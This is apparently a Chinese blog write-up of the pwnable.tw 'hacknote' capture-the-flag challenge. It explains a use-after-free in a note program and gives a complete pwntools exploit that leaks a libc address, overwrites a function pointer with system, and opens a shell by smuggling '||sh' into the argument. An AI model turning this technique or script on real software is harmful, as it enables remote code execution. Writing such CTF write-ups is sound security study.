pwnable.tw hacknote

开学了,新学期加油

程序分析

利用点很明显,存在uaf
QQ截图20170819175156.jpg-24.8kB
add一个节点会增加两个堆块,其中第一个占8个字节,前四个字节为输出函数的地址,后四个字节为实际内容的地址,第二个堆块的为t 输入的content

利用思路

QQ截图20170819175043.jpg-31.5kB
增加两个大小为24的节点,会创建4个堆块,如上图,在将两个节点删除后再增加一个8字节的节点,内容为输出函数的地址和某一个函数的got值,在利用程序本身的功能输出后便可以达到泄露地址,因为给了libc,可以算出system的地址,在删除这个节点后可以将输出函数的地址改为system的地址

1
(*(void (__cdecl **)(_DWORD))*(&ptr + v1))(*(&ptr + v1));

但是可以看到函数的参数包括函数的地址,所以必须绕过,参考链接Linux 连续执行多条命令的方法

利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/env python
from pwn import *
#context(log_level='debug')
io = remote("chall.pwnable.tw",10102)
def add_note(size,content):
io.recvuntil("Your choice :")
io.sendline(str(1))
io.recvuntil("Note size :")
io.sendline(str(size))
io.recvuntil("Content :")
io.sendline(content)
def delete_note(id):
io.recvuntil("Your choice :")
io.sendline(str(2))
io.recvuntil("Index :")
io.sendline(str(id))
def print_note(id):
io.recvuntil("Your choice :")
io.sendline(str(3))
io.recvuntil("Index :")
io.sendline(str(id))
read_got = 0x0804A00C
puts_content = 0x0804862b
add_note(24,'a' * 24)
add_note(24, 'a' * 24)
delete_note(1)
delete_note(0)
add_note(8,p32(puts_content) + p32(read_got))
print_note(1)
read_addr = u32(io.recv(4))
print hex(read_addr)
libc = ELF('./libc_32.so.6')
libc_read = libc.symbols['read']
libc_base = read_addr - libc_read
system_addr = libc_base + libc.symbols['system']
log.success('system_addr: '+ hex(system_addr))
delete_note(2)
add_note(8,p32(system_addr) + "||sh")
print_note(1)
io.interactive()

×

纯属好玩

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. 程序分析
  2. 2. 利用思路
  3. 3. 利用脚本
,